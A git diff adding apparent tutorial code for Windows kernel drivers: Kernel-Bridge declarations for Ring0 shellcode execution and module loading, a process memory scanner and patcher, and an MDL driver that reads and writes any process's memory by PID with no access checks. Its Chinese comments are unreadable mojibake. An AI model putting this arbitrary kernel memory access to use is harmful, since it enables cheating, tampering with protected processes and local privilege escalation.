+ namespace Apc + { + using _ApcProc = VOID(WINAPI*)(PVOID Argument); + BOOL WINAPI KbQueueUserApc(ULONG ThreadId, WdkTypes::PVOID ApcProc, WdkTypes::PVOID Argument); + } +} + +namespace Sections +{ + BOOL WINAPI KbCreateSection( + OUT WdkTypes::HANDLE* hSection, + OPTIONAL LPCWSTR Name, + UINT64 MaximumSize, + ACCESS_MASK DesiredAccess, + ULONG SecObjFlags, // OBJ_*** + ULONG SecPageProtection, // SEC_*** + ULONG AllocationAttributes, + OPTIONAL WdkTypes::HANDLE hFile + ); + + BOOL WINAPI KbOpenSection( + OUT WdkTypes::HANDLE* hSection, + LPCWSTR Name, + ACCESS_MASK DesiredAccess, + ULONG SecObjFlags // OBJ_*** + ); + + BOOL WINAPI KbMapViewOfSection( + WdkTypes::HANDLE hSection, + WdkTypes::HANDLE hProcess, + IN OUT WdkTypes::PVOID* BaseAddress, + ULONG CommitSize, + IN OUT OPTIONAL UINT64* SectionOffset = NULL, + IN OUT OPTIONAL UINT64* ViewSize = NULL, + WdkTypes::SECTION_INHERIT SectionInherit = WdkTypes::ViewUnmap, + ULONG AllocationType = MEM_RESERVE, + ULONG Win32Protect = PAGE_READWRITE + ); + + BOOL WINAPI KbUnmapViewOfSection( + WdkTypes::HANDLE hProcess, + WdkTypes::PVOID BaseAddress + ); +} + +namespace KernelShells +{ + using _GetKernelProcAddress = PVOID(WINAPI*)(LPCWSTR RoutineName); + using _ShellCode = ULONG(WINAPI*)( + _GetKernelProcAddress GetKernelProcAddress, // You can obtain any function address from ntoskrnl.exe/hal.dll + OPTIONAL IN OUT PVOID Argument + ); + // Execute specified function in Ring0 + // into SEH-section with FPU-safe context + // in context of current process: + BOOL WINAPI KbExecuteShellCode(_ShellCode ShellCode, PVOID Argument = NULL, OUT OPTIONAL PULONG Result = NULL); +} + +namespace LoadableModules +{ + BOOL WINAPI KbCreateDriver(LPCWSTR DriverName, WdkTypes::PVOID DriverEntry); + BOOL WINAPI KbLoadModule( + WdkTypes::HMODULE hModule, + LPCWSTR ModuleName, + OPTIONAL WdkTypes::PVOID OnLoad = NULL, + OPTIONAL WdkTypes::PVOID OnUnload = NULL, + OPTIONAL WdkTypes::PVOID OnDeviceControl = NULL + ); + BOOL WINAPI KbUnloadModule(WdkTypes::HMODULE hModule); + BOOL WINAPI KbGetModuleHandle(LPCWSTR ModuleName, OUT WdkTypes::HMODULE* hModule); + BOOL WINAPI KbCallModule(WdkTypes::HMODULE hModule, ULONG CtlCode, OPTIONAL WdkTypes::PVOID Argument = NULL); +} + +namespace Hypervisor +{ + BOOL WINAPI KbVmmEnable(); + BOOL WINAPI KbVmmDisable(); + BOOL WINAPI KbVmmInterceptPage( + IN OPTIONAL WdkTypes::PVOID64 PhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnReadPhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnWritePhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnExecutePhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnExecuteReadPhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnExecuteWritePhysicalAddress + ); + BOOL WINAPI KbVmmDeinterceptPage(IN OPTIONAL WdkTypes::PVOID64 PhysicalAddress); +} + +namespace Stuff +{ + BOOL WINAPI KbGetKernelProcAddress(LPCWSTR RoutineName, WdkTypes::PVOID* KernelAddress); + BOOL WINAPI KbStallExecutionProcessor(ULONG Microseconds); + BOOL WINAPI KbBugCheck(ULONG Status); + BOOL WINAPI KbFindSignature( + OPTIONAL ULONG ProcessId, + WdkTypes::PVOID Memory, // Both user and kernel + ULONG Size, + LPCSTR Signature, // "\x11\x22\x33\x00\x44" + LPCSTR Mask, // "...?." + OUT WdkTypes::PVOID* FoundAddress + ); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/Utils.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/Utils.cpp" new file mode 100644 index 0000000..26679ae --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/Utils.cpp" @@ -0,0 +1,203 @@ +#pragma warning(disable : 4244) +#include "Utils.h" + +Util::Util() : m_Handle(INVALID_HANDLE_VALUE), m_ProcessID(0) +{ +} + +Util::~Util() +{ + if (m_Handle != INVALID_HANDLE_VALUE) CloseHandle(m_Handle); +} + +BOOL Util::InitDriver(CONST WCHAR* DriverPath) +{ + return KbLoader::KbLoadAsDriver(DriverPath); +} + +BOOL Util::OpenWinProcess(DWORD Process) +{ + if (m_Handle != INVALID_HANDLE_VALUE) CloseHandle(m_Handle); + m_Handle = INVALID_HANDLE_VALUE; + + // 򿪽,עҪȨ + m_Handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, Process); + if (m_Handle == INVALID_HANDLE_VALUE || m_Handle == NULL) + { + MessageBoxA(NULL, "޷򿪸ý̾,볢ԹԱʽ", "", MB_OK | MB_ICONHAND); + return FALSE; + } + + // ID + m_ProcessID = Process; + + return TRUE; +} + +BOOL Util::OpenWinProcess(CONST WCHAR* ProcessName) +{ + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return FALSE; + + PROCESSENTRY32W ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + BOOL State = Process32First(Snap, &ProcessInfo); + while (State) + { + if (wcscmp(ProcessInfo.szExeFile, ProcessName) == 0) + { + CloseHandle(Snap); + return OpenWinProcess(ProcessInfo.th32ProcessID); + } + + State = Process32Next(Snap, &ProcessInfo); + } + + CloseHandle(Snap); + return FALSE; +} + +DWORD64 Util::PatternCheck( + BYTE* Region, /* ڴ */ + DWORD RegionSize, /* ڴС */ + BYTE* Pattern, /* ģʽ */ + DWORD PatternSize, /* ģʽС */ + DWORD StartOffset /*= 0*/) +{ + for (DWORD i = StartOffset; i < RegionSize - PatternSize; i++) + { + BOOL State = TRUE; + for (DWORD j = 0; j < PatternSize; j++) + { + // + if (Pattern[j] == '?') continue; + + if (Pattern[j] != Region[i + j]) + { + State = FALSE; + break; + } + } + if (State) return i; + } + return -1; +} + +//BYTE Pattern[] = { 0x91, 0x03, 0x7C, 0x5B, '?', 0x6B, 0xBC, 0xB6, 0xC3, 0x6B }; +VOID Util::PatternSearch( + BYTE* Pattern, /* ģʽ */ + DWORD PatternSize, /* ģʽС */ + std::vector& Result, /* ҽ */ + DWORD64 StartAddr, /* ҵĿʼַ */ + DWORD64 StopAddr) +{ + // ַ + while (StartAddr < StopAddr) + { + // ڴѯ + MEMORY_BASIC_INFORMATION Info{ 0 }; + if (VirtualQueryEx(m_Handle, (LPCVOID)StartAddr, &Info, sizeof(Info))) + { + // ַǰƶ + StartAddr = (DWORD64)Info.BaseAddress + Info.RegionSize; + + // ڴ + BOOL State = (Info.State == MEM_COMMIT) + && (Info.Protect != PAGE_NOACCESS) + && (Info.Protect & PAGE_GUARD) == 0 + && (Info.AllocationProtect & PAGE_NOCACHE) != PAGE_NOCACHE; + if (State == FALSE) continue; + + // ȡڴ + DWORD64 Base = (DWORD64)Info.BaseAddress; + BYTE* Buffer = ReadByte(Base, Info.RegionSize); + if (Buffer) + { + DWORD Offset = 0; + while (TRUE) + { + // ģʽƥ + DWORD64 Pos = PatternCheck(Buffer, Info.RegionSize, Pattern, PatternSize, Offset); + if (Pos == -1) break; + + // ַ + Result.push_back(Base + Pos); + + // ַǰƶ + Offset = Pos + 1; + } + + delete[] Buffer; + } + } + else + { + MessageBoxA(NULL, "ڴʧ", "", MB_OK | MB_ICONHAND); + break; + } + } +} + +VOID Util::PatternSearchX32( + BYTE* Pattern, /* ģʽ */ + DWORD PatternSize, /* ģʽС */ + std::vector& Result, /* ҽ */ + DWORD64 StartAddr /*= 0x00010000*/, /* ҵĿʼַ */ + DWORD64 StopAddr /*= 0x7ffeffff*/) +{ + return PatternSearch(Pattern, PatternSize, Result, StartAddr, StopAddr); +} + +VOID Util::PatternSearchX64( + BYTE* Pattern, /* ģʽ */ + DWORD PatternSize, /* ģʽС */ + std::vector& Result, /* ҽ */ + DWORD64 StartAddr /*= 0x0000000000010000*/, /* ҵĿʼַ */ + DWORD64 StopAddr /*= 0x00007ffffffeffff*/) +{ + return PatternSearch(Pattern, PatternSize, Result, StartAddr, StopAddr); +} + +CHAR* Util::ReadCharStr(DWORD64 Addr, DWORD Size) +{ + CHAR* Buff = new CHAR[Size]; + if (Buff) + { + memset(Buff, 0, Size); + Processes::MemoryManagement::KbReadProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, Buff, Size); + } + return Buff; +} + +WCHAR* Util::ReadWCharStr(DWORD64 Addr, DWORD Size) +{ + WCHAR* Buff = new WCHAR[Size]; + if (Buff) + { + memset(Buff, 0, Size * 2); + Processes::MemoryManagement::KbReadProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, Buff, Size); + } + return Buff; +} + +BYTE* Util::ReadByte(DWORD64 Addr, DWORD Size) +{ + BYTE* Buff = new BYTE[Size]; + if (Buff) + { + memset(Buff, 0, Size); + Processes::MemoryManagement::KbReadProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, Buff, Size); + } + return Buff; +} + +VOID Util::WriteCharStr(DWORD64 Addr, CONST CHAR* Buff, DWORD Size) +{ + Processes::MemoryManagement::KbWriteProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, (PVOID)Buff, Size, FALSE); +} + +VOID Util::WriteWCharStr(DWORD64 Addr, CONST WCHAR* Buff, DWORD Size) +{ + Processes::MemoryManagement::KbWriteProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, (PVOID)Buff, Size, FALSE); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/Utils.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/Utils.h" new file mode 100644 index 0000000..b5b484a --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/Utils.h" @@ -0,0 +1,93 @@ +#pragma once + +/************************************************************************/ +/* һ¾õĺ */ +/************************************************************************/ + +#include "User-Bridge.h" + +#include + +#include +#include + +class Util +{ +private: + // ID + DWORD m_ProcessID; + + // ̾ + HANDLE m_Handle; + +public: + Util(); + ~Util(); + +public: + /* ʼ */ + BOOL InitDriver(CONST WCHAR* DriverPath); + + /* һ */ + BOOL OpenWinProcess(CONST WCHAR* ProcessName); + BOOL OpenWinProcess(DWORD Process); + + /* ģʽƥ */ + DWORD64 PatternCheck( + BYTE* Region, // ڴ + DWORD RegionSize, // ڴС + BYTE* Pattern, // ģʽ + DWORD PatternSize, // ģʽС + DWORD StartOffset = 0); // ʼλƫ + + /* ģʽ */ + VOID PatternSearch( + BYTE* Pattern, // ģʽ + DWORD PatternSize, // ģʽС + std::vector& Result, // ҽ + DWORD64 StartAddr, // ҵĿʼַ + DWORD64 StopAddr); // ҵĽַ + + /* 32λģʽ */ + VOID PatternSearchX32( + BYTE* Pattern, // ģʽ + DWORD PatternSize, // ģʽС + std::vector& Result, // ҽ + DWORD64 StartAddr = 0x00010000, // ҵĿʼַ + DWORD64 StopAddr = 0xFFFFFFFF); // ҵĽַ + + /* 64λģʽ */ + VOID PatternSearchX64( + BYTE* Pattern, // ģʽ + DWORD PatternSize, // ģʽС + std::vector& Result, // ҽ + DWORD64 StartAddr = 0x0000000000010000, // ҵĿʼַ + DWORD64 StopAddr = 0x00007FFFFFFFFFFF); // ҵĽַ + + /* ȡַ */ + CHAR* ReadCharStr(DWORD64 Addr, DWORD Size); + WCHAR* ReadWCharStr(DWORD64 Addr, DWORD Size); + + /* ȡֽ */ + BYTE* ReadByte(DWORD64 Addr, DWORD Size); + + /* дַ */ + VOID WriteCharStr(DWORD64 Addr, CONST CHAR* Buff, DWORD Size); + VOID WriteWCharStr(DWORD64 Addr, CONST WCHAR* Buff, DWORD Size); + + /* ȡڴ */ + template + T Read(DWORD64 Addr) + { + T Res{}; + Processes::MemoryManagement::KbReadProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, &Res, sizeof(Res)); + return Res; + } + + /* дڴ */ + template + VOID Write(DWORD64 Addr, T Buff) + { + Processes::MemoryManagement::KbWriteProcessMemory(m_ProcessID, (WdkTypes::PVOID)Addr, &Buff, sizeof(Buff), FALSE); + } +}; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/WdkTypes.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/WdkTypes.h" new file mode 100644 index 0000000..28548fa --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/WdkTypes.h" @@ -0,0 +1,204 @@ +#pragma once + +#define DECLARE_STRUCT(Name, Fields) \ + using Name = struct Fields; \ + using P##Name = Name* + +// Direct WDK types port for use in usermode: +namespace WdkTypes { + enum KPROCESSOR_MODE { + KernelMode, + UserMode, + MaximumMode + }; + + enum LOCK_OPERATION { + IoReadAccess, + IoWriteAccess, + IoModifyAccess + }; + + enum MEMORY_CACHING_TYPE_ORIG { + MmFrameBufferCached = 2 + }; + + enum MEMORY_CACHING_TYPE { + MmNonCached = FALSE, + MmCached = TRUE, + MmWriteCombined = MmFrameBufferCached, + MmHardwareCoherentCached, + MmNonCachedUnordered, // IA64 + MmUSWCCached, + MmMaximumCacheType, + MmNotMapped = -1 + }; + + enum SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 + }; + + // Using universal x64 types for compatibility with x32 and x64: + using NTSTATUS = unsigned int; + using HANDLE = unsigned long long; + using PVOID = unsigned long long; + using PVOID64 = unsigned long long; + using PEPROCESS = PVOID; + using PETHREAD = PVOID; + using PMDL = PVOID; + using HMODULE = PVOID; + using LPCWSTR = PVOID; + using LPWSTR = PVOID; + using LPCSTR = PVOID; + using LPSTR = PVOID; + using PBYTE = PVOID; + using PSHORT = PVOID; + using PULONG = PVOID; + using PDWORD = PVOID; + using PUINT64 = PVOID; + + using CLIENT_ID = struct { + UINT64 ProcessId; + UINT64 ThreadId; + }; +} + +namespace ObjFlags { + enum ObjFlags { + _OBJ_INHERIT = 0x00000002L, + _OBJ_PERMANENT = 0x00000010L, + _OBJ_EXCLUSIVE = 0x00000020L, + _OBJ_CASE_INSENSITIVE = 0x00000040L, + _OBJ_OPENIF = 0x00000080L, + _OBJ_OPENLINK = 0x00000100L, + _OBJ_KERNEL_HANDLE = 0x00000200L, + _OBJ_FORCE_ACCESS_CHECK = 0x00000400L, + _OBJ_IGNORE_IMPERSONATED_DEVICEMAP = 0x00000800L, + _OBJ_DONT_REPARSE = 0x00001000L, + _OBJ_VALID_ATTRIBUTES = 0x00001FF2L, + }; +} + +namespace NtTypes { + enum PROCESSINFOCLASS { + ProcessBasicInformation, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: HANDLE + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // 10, qs: PROCESS_LDT_INFORMATION + ProcessLdtSize, // s: PROCESS_LDT_SIZE + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, + ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION + ProcessAffinityMask, // s: KAFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // 30, q: HANDLE + ProcessDebugFlags, // qs: ULONG + ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: ULONG + ProcessExecuteFlags, // qs: ULONG + ProcessResourceManagement, + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA + ProcessPagePriority, // q: ULONG + ProcessInstrumentationCallback, // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR + ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL + ProcessHandleTable, // since WINBLUE + ProcessCheckStackExtentsMode, + ProcessCommandLineInformation, // 60, q: UNICODE_STRING + ProcessProtectionInformation, // q: PS_PROTECTION + ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD + ProcessFaultInformation, // PROCESS_FAULT_INFORMATION + ProcessTelemetryIdInformation, // PROCESS_TELEMETRY_ID_INFORMATION + ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION + ProcessDefaultCpuSetsInformation, + ProcessAllowedCpuSetsInformation, + ProcessReserved1Information, + ProcessReserved2Information, + ProcessSubsystemProcess, // 70 + ProcessJobMemoryInformation, // PROCESS_JOB_MEMORY_INFO + MaxProcessInfoClass + }; + + enum THREADINFOCLASS { + ThreadBasicInformation, // q: THREAD_BASIC_INFORMATION + ThreadTimes, // q: KERNEL_USER_TIMES + ThreadPriority, // s: KPRIORITY + ThreadBasePriority, // s: LONG + ThreadAffinityMask, // s: KAFFINITY + ThreadImpersonationToken, // s: HANDLE + ThreadDescriptorTableEntry, // q: DESCRIPTOR_TABLE_ENTRY (or WOW64_DESCRIPTOR_TABLE_ENTRY) + ThreadEnableAlignmentFaultFixup, // s: BOOLEAN + ThreadEventPair, + ThreadQuerySetWin32StartAddress, // q: PVOID + ThreadZeroTlsCell, // 10 + ThreadPerformanceCount, // q: LARGE_INTEGER + ThreadAmILastThread, // q: ULONG + ThreadIdealProcessor, // s: ULONG + ThreadPriorityBoost, // qs: ULONG + ThreadSetTlsArrayAddress, + ThreadIsIoPending, // q: ULONG + ThreadHideFromDebugger, // s: void + ThreadBreakOnTermination, // qs: ULONG + ThreadSwitchLegacyState, + ThreadIsTerminated, // 20, q: ULONG + ThreadLastSystemCall, // q: THREAD_LAST_SYSCALL_INFORMATION + ThreadIoPriority, // qs: ULONG + ThreadCycleTime, // q: THREAD_CYCLE_TIME_INFORMATION + ThreadPagePriority, // q: ULONG + ThreadActualBasePriority, + ThreadTebInformation, // q: THREAD_TEB_INFORMATION (requires THREAD_GET_CONTEXT + THREAD_SET_CONTEXT) + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, // q: WOW64_CONTEXT + ThreadGroupInformation, // 30, q: GROUP_AFFINITY + ThreadUmsInformation, + ThreadCounterProfiling, + ThreadIdealProcessorEx, // q: PROCESSOR_NUMBER + ThreadCpuAccountingInformation, // since WIN8 + ThreadSuspendCount, // since WINBLUE + ThreadHeterogeneousCpuPolicy, // KHETERO_CPU_POLICY // since THRESHOLD + ThreadContainerId, + ThreadNameInformation, + ThreadProperty, + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, + MaxThreadInfoClass + }; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/Driver.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/Driver.c" new file mode 100644 index 0000000..d80ca4e --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/Driver.c" @@ -0,0 +1,182 @@ +#include "Driver.h" + +// {F90B1129-715C-4F84-A069-FEE12E2AFB48} +UNICODE_STRING DeviceName = RTL_CONSTANT_STRING(L"\\Device\\{F90B1129-715C-4F84-A069-FEE12E2AFB48}"); +UNICODE_STRING DeviceLink = RTL_CONSTANT_STRING(L"\\??\\{F90B1129-715C-4F84-A069-FEE12E2AFB48}"); + +//ȡڴ +VOID MdlReadProcessMemory(PUserData Buffer) +{ + //Ŀ + PEPROCESS Process = NULL; + NTSTATUS Status = PsLookupProcessByProcessId((HANDLE)Buffer->Pid, &Process); + if (!NT_SUCCESS(Status)) + { + printfs("[Mdl] : read PsLookupProcessByProcessIdʧ"); + return; + } + + //ڴռ + PBYTE Temp = ExAllocatePool(PagedPool, Buffer->Size); + if (Temp == NULL) + { + printfs("[Mdl] : read ExAllocatePoolʧ"); + ObDereferenceObject(Process); + return; + } + + //ӽ + KAPC_STATE Stack = { 0 }; + KeStackAttachProcess(Process, &Stack); + + //ڴ + ProbeForRead((PVOID)Buffer->Address, Buffer->Size, 1); + + //ڴ + RtlCopyMemory(Temp, (PVOID)Buffer->Address, Buffer->Size); + + // + ObDereferenceObject(Process); + + // + KeUnstackDetachProcess(&Stack); + + //ƵǵĻ + RtlCopyMemory(Buffer->Data, Temp, Buffer->Size); + + //ͷڴ + ExFreePool(Temp); +} + +//дڴ +VOID MdlWriteProcessMemory(PUserData Buffer) +{ + //Ŀ + PEPROCESS Process = NULL; + NTSTATUS Status = PsLookupProcessByProcessId((HANDLE)Buffer->Pid, &Process); + if (!NT_SUCCESS(Status)) + { + printfs("[Mdl] : write PsLookupProcessByProcessIdʧ"); + return; + } + + //ڴռ + PBYTE Temp = ExAllocatePool(PagedPool, Buffer->Size); + if (Temp == NULL) + { + printfs("[Mdl] : write ExAllocatePoolʧ"); + ObDereferenceObject(Process); + return; + } + + //ڴ + for (DWORD i = 0; i < Buffer->Size; i++) Temp[i] = Buffer->Data[i]; + + //ӽ + KAPC_STATE Stack = { 0 }; + KeStackAttachProcess(Process, &Stack); + + //MDL + PMDL Mdl = IoAllocateMdl((PVOID)Buffer->Address, Buffer->Size, FALSE, FALSE, NULL); + if (Mdl == NULL) + { + printfs("[Mdl] : IoAllocateMdlʧ"); + KeUnstackDetachProcess(&Stack); + ExFreePool(Temp); + ObDereferenceObject(Process); + return; + } + + //ҳ + MmBuildMdlForNonPagedPool(Mdl); + + //ҳ + PBYTE ChangeData = MmMapLockedPages(Mdl, KernelMode); + + //ڴ + if (ChangeData) RtlCopyMemory(ChangeData, Temp, Buffer->Size); + + //ͷ + IoFreeMdl(Mdl); + ExFreePool(Temp); + KeUnstackDetachProcess(&Stack); + ObDereferenceObject(Process); +} + +//Dz +NTSTATUS DriverIoctl(PDEVICE_OBJECT Device, PIRP pirp) +{ + //δ + UNREFERENCED_PARAMETER(Device); + + //ȡջ + PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(pirp); + + //ȡ + ULONG Code = Stack->Parameters.DeviceIoControl.IoControlCode; + + if (Stack->MajorFunction == IRP_MJ_DEVICE_CONTROL) + { + //ȡָ + PUserData Buffer = pirp->AssociatedIrp.SystemBuffer; + printfs("[Mdl] : PID:%d ַ:%x С:%d", Buffer->Pid, Buffer->Address, Buffer->Size); + + if (Code == Mdl_Read) MdlReadProcessMemory(Buffer); //ȡڴ + if (Code == Mdl_Write) MdlWriteProcessMemory(Buffer);//дڴ + + pirp->IoStatus.Information = sizeof(UserData); + } + else pirp->IoStatus.Information = 0; + + //IO + pirp->IoStatus.Status = STATUS_SUCCESS; + IoCompleteRequest(pirp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} + +//жغ +VOID DriverUnload(PDRIVER_OBJECT object) +{ + if (object->DeviceObject) + { + IoDeleteSymbolicLink(&DeviceLink); + IoDeleteDevice(object->DeviceObject); + } + printfs("[Mdl] : жسɹ"); +} + +//ں +NTSTATUS DriverEntry(PDRIVER_OBJECT object, PUNICODE_STRING reg) +{ + printfs("[Mdl] : ע -> %wZ", reg); + + //жغ + object->DriverUnload = DriverUnload; + + //豸 + PDEVICE_OBJECT Device = NULL; + NTSTATUS Status = IoCreateDevice(object, sizeof(object->DriverExtension), &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &Device); + if (!NT_SUCCESS(Status)) + { + printfs("[Mdl] : IoCreateDeviceʧ"); + return Status; + } + + // + Status = IoCreateSymbolicLink(&DeviceLink, &DeviceName); + if (!NT_SUCCESS(Status)) + { + printfs("[Mdl] : IoCreateSymbolicLinkʧ"); + IoDeleteDevice(Device); + return Status; + } + + //Dz + object->MajorFunction[IRP_MJ_CREATE] = DriverIoctl; + object->MajorFunction[IRP_MJ_CLOSE] = DriverIoctl; + object->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverIoctl; + + printfs("[Mdl] : سɹ"); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/Driver.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/Driver.h" new file mode 100644 index 0000000..75cceac --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/Driver.h" @@ -0,0 +1,22 @@ +#pragma once + +#include +#include + +/* Ը */ +#define printfs(x, ...) DbgPrintEx(0, 0, x, __VA_ARGS__) + +/* ȡڴ */ +#define Mdl_Read CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ALL_ACCESS) + +/* дڴ */ +#define Mdl_Write CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_ALL_ACCESS) + +/* ϢĽṹ */ +typedef struct _UserData +{ + DWORD Pid; //ҪдĽID + DWORD64 Address; //Ҫдĵַ + DWORD Size; //д + PBYTE Data; //Ҫд +}UserData, *PUserData; diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/main.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/main.cpp" new file mode 100644 index 0000000..0d6b4c9 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Mdl [\350\257\273\345\217\226\345\206\205\345\255\230]/main.cpp" @@ -0,0 +1,83 @@ +#include +#include + +/* ȡڴ */ +#define Mdl_Read CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ALL_ACCESS) + +/* дڴ */ +#define Mdl_Write CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_ALL_ACCESS) + +/* ӷ */ +const char* g_link = "\\??\\{F90B1129-715C-4F84-A069-FEE12E2AFB48}"; + +/* ϢĽṹ */ +typedef struct _UserData +{ + 